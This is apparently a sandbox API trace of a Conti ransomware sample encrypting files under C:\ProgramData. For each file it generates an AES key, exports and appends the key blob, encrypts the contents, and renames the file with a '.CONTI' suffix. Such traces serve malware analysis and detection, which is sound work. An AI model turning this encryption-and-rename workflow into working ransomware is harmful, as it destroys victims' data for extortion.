	[0122.373] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90) returned 1
	[0122.373] CryptGenKey (in: hProv=0x1755fe0, Algid=0x6610, dwFlags=0x1, phKey=0x6b4d738 | out: phKey=0x6b4d738*=0x6b7ec38) returned 1
	[0122.373] CryptExportKey (in: hKey=0x6b7ec38, hExpKey=0x173a910, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4d73c, pdwDataLen=0x3f7fc54 | out: pbData=0x6b4d73c*, pdwDataLen=0x3f7fc54*=0x20c) returned 1
	[0122.375] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.014.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.014.etl")) returned 0x2020
	[0122.375] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.014.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.014.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4
	[0122.375] GetLastError () returned 0x0
	[0122.375] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x3f7fc00 | out: lpFileSize=0x3f7fc00*=8192) returned 1
	[0122.376] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2000
	[0122.376] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.376] SetEndOfFile (hFile=0x3a4) returned 1
	[0122.376] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0122.376] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.376] WriteFile (in: hFile=0x3a4, lpBuffer=0x6b4d73c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3f7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x6b4d73c*, lpNumberOfBytesWritten=0x3f7fc0c*=0x20c, lpOverlapped=0x0) returned 1
	[0122.377] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0122.377] ReadFile (in: hFile=0x3a4, lpBuffer=0xa7b0000, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3f7fc2c, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesRead=0x3f7fc2c*=0x2000, lpOverlapped=0x0) returned 1
	[0122.378] CryptEncrypt (in: hKey=0x6b7ec38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x2000, dwBufLen=0x500000 | out: pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x2010) returned 1
	[0122.378] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.378] WriteFile (in: hFile=0x3a4, lpBuffer=0xa7b0000*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x3f7fc40, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesWritten=0x3f7fc40*=0x2010, lpOverlapped=0x0) returned 1
	[0122.378] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.378] WriteFile (in: hFile=0x3a4, lpBuffer=0x6b4d730*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3f7fc58, lpOverlapped=0x0 | out: lpBuffer=0x6b4d730*, lpNumberOfBytesWritten=0x3f7fc58*=0x8, lpOverlapped=0x0) returned 1
	[0122.378] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0122.378] CloseHandle (hObject=0x3a4) returned 1
	[0122.378] GetProcessHeap () returned 0x1720000
	[0122.378] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0122.378] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.014.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.014.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.014.etl"
	[0122.378] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.014.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.014.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.014.etl.CONTI"
	[0122.378] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.014.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.014.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.014.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.014.etl.conti")) returned 1
	[0122.379] GetProcessHeap () returned 0x1720000
	[0122.379] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0122.379] CryptDestroyKey (hKey=0x6b7ec38) returned 1
	[0122.379] GetProcessHeap () returned 0x1720000
	[0122.379] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c4d38 | out: hHeap=0x1720000) returned 1
	[0122.379] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90) returned 1
	[0122.379] CryptGenKey (in: hProv=0x1755fe0, Algid=0x6610, dwFlags=0x1, phKey=0x6b4d980 | out: phKey=0x6b4d980*=0x6b7ebb8) returned 1
	[0122.379] CryptExportKey (in: hKey=0x6b7ebb8, hExpKey=0x173a910, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4d984, pdwDataLen=0x3f7fc54 | out: pbData=0x6b4d984*, pdwDataLen=0x3f7fc54*=0x20c) returned 1
	[0122.380] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.015.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.015.etl")) returned 0x2020
	[0122.380] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.015.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.015.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4
	[0122.381] GetLastError () returned 0x0
	[0122.381] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x3f7fc00 | out: lpFileSize=0x3f7fc00*=8192) returned 1
	[0122.381] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2000
	[0122.381] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.381] SetEndOfFile (hFile=0x3a4) returned 1
	[0122.381] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0122.381] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.381] WriteFile (in: hFile=0x3a4, lpBuffer=0x6b4d984*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3f7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x6b4d984*, lpNumberOfBytesWritten=0x3f7fc0c*=0x20c, lpOverlapped=0x0) returned 1
	[0122.382] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0122.382] ReadFile (in: hFile=0x3a4, lpBuffer=0xa7b0000, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3f7fc2c, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesRead=0x3f7fc2c*=0x2000, lpOverlapped=0x0) returned 1
	[0122.383] CryptEncrypt (in: hKey=0x6b7ebb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x2000, dwBufLen=0x500000 | out: pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x2010) returned 1
	[0122.383] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.383] WriteFile (in: hFile=0x3a4, lpBuffer=0xa7b0000*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x3f7fc40, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesWritten=0x3f7fc40*=0x2010, lpOverlapped=0x0) returned 1
	[0122.384] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.384] WriteFile (in: hFile=0x3a4, lpBuffer=0x6b4d978*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3f7fc58, lpOverlapped=0x0 | out: lpBuffer=0x6b4d978*, lpNumberOfBytesWritten=0x3f7fc58*=0x8, lpOverlapped=0x0) returned 1
	[0122.384] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0122.384] CloseHandle (hObject=0x3a4) returned 1
	[0122.384] GetProcessHeap () returned 0x1720000
	[0122.384] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0122.384] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.015.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.015.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.015.etl"
	[0122.384] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.015.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.015.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.015.etl.CONTI"
	[0122.384] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.015.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.015.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.015.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.015.etl.conti")) returned 1
	[0122.385] GetProcessHeap () returned 0x1720000
	[0122.385] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0122.385] CryptDestroyKey (hKey=0x6b7ebb8) returned 1
	[0122.385] GetProcessHeap () returned 0x1720000
	[0122.385] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c4238 | out: hHeap=0x1720000) returned 1
	[0122.385] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90) returned 1
	[0122.385] CryptGenKey (in: hProv=0x1755fe0, Algid=0x6610, dwFlags=0x1, phKey=0x6b52958 | out: phKey=0x6b52958*=0x6b7e9f8) returned 1
	[0122.385] CryptExportKey (in: hKey=0x6b7e9f8, hExpKey=0x173a910, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b5295c, pdwDataLen=0x3f7fc54 | out: pbData=0x6b5295c*, pdwDataLen=0x3f7fc54*=0x20c) returned 1
	[0122.386] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.016.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.016.etl")) returned 0x2020
	[0122.386] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.016.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.016.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4
	[0122.386] GetLastError () returned 0x0
	[0122.386] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x3f7fc00 | out: lpFileSize=0x3f7fc00*=8192) returned 1
	[0122.387] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2000
	[0122.387] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.387] SetEndOfFile (hFile=0x3a4) returned 1
	[0122.387] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0122.387] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.387] WriteFile (in: hFile=0x3a4, lpBuffer=0x6b5295c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3f7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x6b5295c*, lpNumberOfBytesWritten=0x3f7fc0c*=0x20c, lpOverlapped=0x0) returned 1
	[0122.388] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0122.388] ReadFile (in: hFile=0x3a4, lpBuffer=0xa7b0000, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3f7fc2c, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesRead=0x3f7fc2c*=0x2000, lpOverlapped=0x0) returned 1
	[0122.389] CryptEncrypt (in: hKey=0x6b7e9f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x2000, dwBufLen=0x500000 | out: pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x2010) returned 1
	[0122.389] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.389] WriteFile (in: hFile=0x3a4, lpBuffer=0xa7b0000*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x3f7fc40, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesWritten=0x3f7fc40*=0x2010, lpOverlapped=0x0) returned 1
	[0122.389] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.389] WriteFile (in: hFile=0x3a4, lpBuffer=0x6b52950*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3f7fc58, lpOverlapped=0x0 | out: lpBuffer=0x6b52950*, lpNumberOfBytesWritten=0x3f7fc58*=0x8, lpOverlapped=0x0) returned 1
	[0122.389] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0122.389] CloseHandle (hObject=0x3a4) returned 1
	[0122.389] GetProcessHeap () returned 0x1720000
	[0122.389] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0122.389] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.016.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.016.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.016.etl"
	[0122.389] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.016.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.016.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.016.etl.CONTI"
	[0122.389] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.016.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.016.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.016.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.016.etl.conti")) returned 1
	[0122.390] GetProcessHeap () returned 0x1720000
	[0122.390] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0122.390] CryptDestroyKey (hKey=0x6b7e9f8) returned 1
	[0122.390] GetProcessHeap () returned 0x1720000
	[0122.390] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c48b8 | out: hHeap=0x1720000) returned 1
	[0122.390] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90) returned 1
	[0122.390] CryptGenKey (in: hProv=0x1755fe0, Algid=0x6610, dwFlags=0x1, phKey=0x6b52038 | out: phKey=0x6b52038*=0x6b7e9f8) returned 1
	[0122.390] CryptExportKey (in: hKey=0x6b7e9f8, hExpKey=0x173a910, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b5203c, pdwDataLen=0x3f7fc54 | out: pbData=0x6b5203c*, pdwDataLen=0x3f7fc54*=0x20c) returned 1
	[0122.391] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.017.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.017.etl")) returned 0x2020
	[0123.586] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.017.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.017.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0
	[0123.587] GetLastError () returned 0x0
	[0123.587] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x3f7fc00 | out: lpFileSize=0x3f7fc00*=12288) returned 1
	[0123.587] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3000
	[0123.587] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.587] SetEndOfFile (hFile=0x3c0) returned 1
	[0123.588] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0123.588] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.588] WriteFile (in: hFile=0x3c0, lpBuffer=0x6b5203c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3f7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x6b5203c*, lpNumberOfBytesWritten=0x3f7fc0c*=0x20c, lpOverlapped=0x0) returned 1
	[0125.092] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0125.092] ReadFile (in: hFile=0x3c0, lpBuffer=0xa7b0000, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x3f7fc2c, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesRead=0x3f7fc2c*=0x3000, lpOverlapped=0x0) returned 1
	[0125.093] CryptEncrypt (in: hKey=0x6b7e9f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x3000, dwBufLen=0x500000 | out: pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x3010) returned 1
	[0125.093] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.093] WriteFile (in: hFile=0x3c0, lpBuffer=0xa7b0000*, nNumberOfBytesToWrite=0x3010, lpNumberOfBytesWritten=0x3f7fc40, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesWritten=0x3f7fc40*=0x3010, lpOverlapped=0x0) returned 1
	[0129.226] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.226] WriteFile (in: hFile=0x3c0, lpBuffer=0x6b52030*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3f7fc58, lpOverlapped=0x0 | out: lpBuffer=0x6b52030*, lpNumberOfBytesWritten=0x3f7fc58*=0x8, lpOverlapped=0x0) returned 1
	[0129.226] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.226] CloseHandle (hObject=0x3c0) returned 1
	[0129.559] GetProcessHeap () returned 0x1720000
	[0129.559] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x65eef00
	[0129.560] lstrcpyW (in: lpString1=0x65eef00, lpString2="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.017.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.017.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.017.etl"
	[0129.560] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.017.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.017.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.017.etl.CONTI"
	[0129.560] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.017.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.017.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.017.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.017.etl.conti")) returned 1
	[0129.583] GetProcessHeap () returned 0x1720000
	[0129.583] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65eef00 | out: hHeap=0x1720000) returned 1
	[0129.583] CryptDestroyKey (hKey=0x6b7e9f8) returned 1
	[0129.583] GetProcessHeap () returned 0x1720000
	[0129.583] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3fb8 | out: hHeap=0x1720000) returned 1
	[0129.583] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90) returned 1
	[0130.185] CryptGenKey (in: hProv=0x1755fe0, Algid=0x6610, dwFlags=0x1, phKey=0x6b52958 | out: phKey=0x6b52958*=0x17c80f0) returned 1
	[0130.185] CryptExportKey (in: hKey=0x17c80f0, hExpKey=0x173a910, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b5295c, pdwDataLen=0x3f7fc54 | out: pbData=0x6b5295c*, pdwDataLen=0x3f7fc54*=0x20c) returned 1
	[0130.186] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\telemetry.asm-windowsdefault.json")) returned 0x120
	[0130.186] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\telemetry.asm-windowsdefault.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0130.186] GetLastError () returned 0x5
	[0130.186] CryptDestroyKey (hKey=0x17c80f0) returned 1
	[0130.186] GetProcessHeap () returned 0x1720000
	[0130.186] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bff00 | out: hHeap=0x1720000) returned 1
	[0130.187] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90) returned 1
	[0133.996] CryptGenKey (in: hProv=0x1755fe0, Algid=0x6610, dwFlags=0x1, phKey=0x6b47520 | out: phKey=0x6b47520*=0x17c83f0) returned 1
	[0133.997] CryptExportKey (in: hKey=0x17c83f0, hExpKey=0x173a910, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b47524, pdwDataLen=0x3f7fc54 | out: pbData=0x6b47524*, pdwDataLen=0x3f7fc54*=0x20c) returned 1
	[0133.997] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edbres00001.jrs" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\edbres00001.jrs")) returned 0x20
	[0133.997] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edbres00001.jrs" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\edbres00001.jrs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0133.997] GetLastError () returned 0x5
	[0133.997] CryptDestroyKey (hKey=0x17c83f0) returned 1
	[0133.998] GetProcessHeap () returned 0x1720000
	[0133.998] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6c02aa8 | out: hHeap=0x1720000) returned 1
	[0133.998] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90) returned 1
